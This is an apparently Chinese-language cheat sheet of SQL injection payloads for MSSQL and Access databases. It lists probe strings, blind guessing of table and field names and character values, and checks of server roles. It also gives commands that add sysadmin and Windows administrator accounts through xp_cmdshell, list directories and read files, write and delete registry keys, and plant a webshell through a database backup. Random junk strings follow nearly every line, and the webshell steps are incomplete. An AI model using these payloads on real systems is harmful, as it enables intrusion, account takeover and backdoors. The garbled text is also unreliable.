1.判断是否有注入;and 1=1 ;and 1=2 {n&Uf{
2.初步判断是否是mssql ;and user>0 H O*YBL
FY4 T(4#
3.注入参数是字符'and [查询条件] and ''=' :^#vxdIC?
)c+k_;t'+
4.搜索时没过滤参数的'and [查询条件] and '%25'=' DW>ES/B8$(
[EOVw%R
5.判断数据库系统 @PX\{6&
2"X~ju
;and (select count(*) from sysobjects)>0 mssql id?E)Jy
OhFW*v
;and (select count(*) from msysobjects)>0 access "(f`U.
oL-2qtv
RgZOt[!.
Hhl-E:"H`
6.猜数据库 ;and (select Count(*) from [数据库名])>0 /8c&Axuv
MA*
:<l
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 X#`dWNrN
0%#\w*X8
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 G\kpUdj}
4MLH+/e
9.(1)猜字段的ascii值(access) Oaa"T8t
(%'9CfPx
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 .Y\EE;8%
qybxXK:
(2)猜字段的ascii值(mssql)
^2C>L}
Ilq=wPD}j
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 R5(T([w'
[E|uY]DR
10.测试权限结构(mssql) cbYK5fj"T
(s&&>M]r_
Wekqn!h
#^0(
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- i=#F)AD^5#
!OAvD#
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- h/m6)m.D
+TSSi em
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- WU)Ss`s \
gKi{Y1
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- N'?u1P4G
d1G8*YO@
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- H
M:r0_
Qihdn66
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Vte EDL/w
f<=Fe:1.
;and 1=(select IS_MEMBER('db_owner'));-- ^$NJD
,H[SI0];
2*AG7
GLUUY0
11.添加mssql和系统的帐户 Ow/@Z7~
7lA:)a_!]
;exec master.dbo.sp_addlogin username;-- `hUHel;6
;exec master.dbo.sp_password null,username,password;-- @D[`Oj)
/X#z*GX
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- \TbVS8e^
eR;!(Oy=A
;exec master.dbo.xp_cmdshell 'net user username password 5/@UVY9_
uQ3[Jz`y
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- orfp>B) 0
H"Dn]$Q\Z
;exec master.dbo.xp_cmdshell 'net user username password /add';-- PJ\0JR7a
:Li/=>R^
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- {vVTv SC
:]II-$/8
Ed-M7#wY
tSHFm-q`
12.(1)遍历目录 0xMj=3']
@PSLs*
;create table dirs(paths varchar(100), id int) w/m:{c Hk
l,`!rF_
;insert dirs exec master.dbo.xp_dirtree 'c:\' 5kMWW*Xtf
,D=fFpn
;and (select top 1 paths from dirs)>0 caq} &A]C
tef^ShF]
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
QG3&p<
!mnUdR|>(
vhgLcrn
{C3Y7<
(2)遍历目录 3yO=S0`
KoBW}x9Jp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;_+uSalt
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 m_7
nz!h
dh -,E
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 d)ahF[82
qJv[MBjk3B
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 r'4:)~]s
eJ@~o{,?>
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 yVJ%+d:6
zT9JBMNE:
j*R,m1e8
"484n/D
13.mssql中的存储过程 1hmc,c
)!W45"l-3M
xp_regenumvalues 注册表根键, 子键 CIC[1,
Lx[
,Z,kD
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 diT=x52
cgT
xp_regread 根键,子键,键值名 s0"e'
u{e-G&]^;
;exec xp_regread TzG]WsY_
o
l ({AYB
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 sen=0SB/
UKBJ_r
xp_regwrite 根键,子键, 值名, 值类型, 值 6lFfS!ZFA
~r*P]*51x
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 dcfe_EuT
nsuX*C7
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 xge7r3i
zGlZ!t:
xp_regdeletevalue 根键,子键,值名
8Ogv9
F-gE<<
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 =;L*<I
{6Au3gt/
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 rofNZ;nu
q_fam,9
K|r Lkl9
L^`}J7r
14.mssql的backup创建webshell |oFAGP1
2N [=
use model CI7A#
6-
aaW]JmRb
create table cmd(str image); ~$,qgf
4'>1HW
insert into cmd(str) values (''); _lxco=qd=%
j? i#L}.I
backup database model to disk='c:\l.asp'; F5T3E?_
oF&l-DHp
,. EBOUW^
gFN9jM
15.mssql内置函数 uaPx"
^TdZ*($5
;and (select @@version)>0 获得Windows的版本号 ~N0sJ%
n# 7Pr/*0
;and user_name()='dbo' 判断当前系统的连接用户是不是sa |NFZ(6vNh
Ctu?o+^;z
;and (select user_name())>0 爆当前系统的连接用户 ~qP[eWe
>{zk
qvsQ&
;and (select db_name())>0 得到当前连接的数据库 x!<yT?A
|V,<+BEi
*f+: <=i
/bRg?Q
16.简洁的webshell Xl-e !
:l\V'=%9'@
use model :l u5Uu~
*ZCn8m:-+
create table cmd(str image); _2ef LjXQ
$.E6S<(h
insert into cmd(str) values (''); -G |a*^
S~OhtHwK
backup database model to disk='g:\wwwtest\l.asp';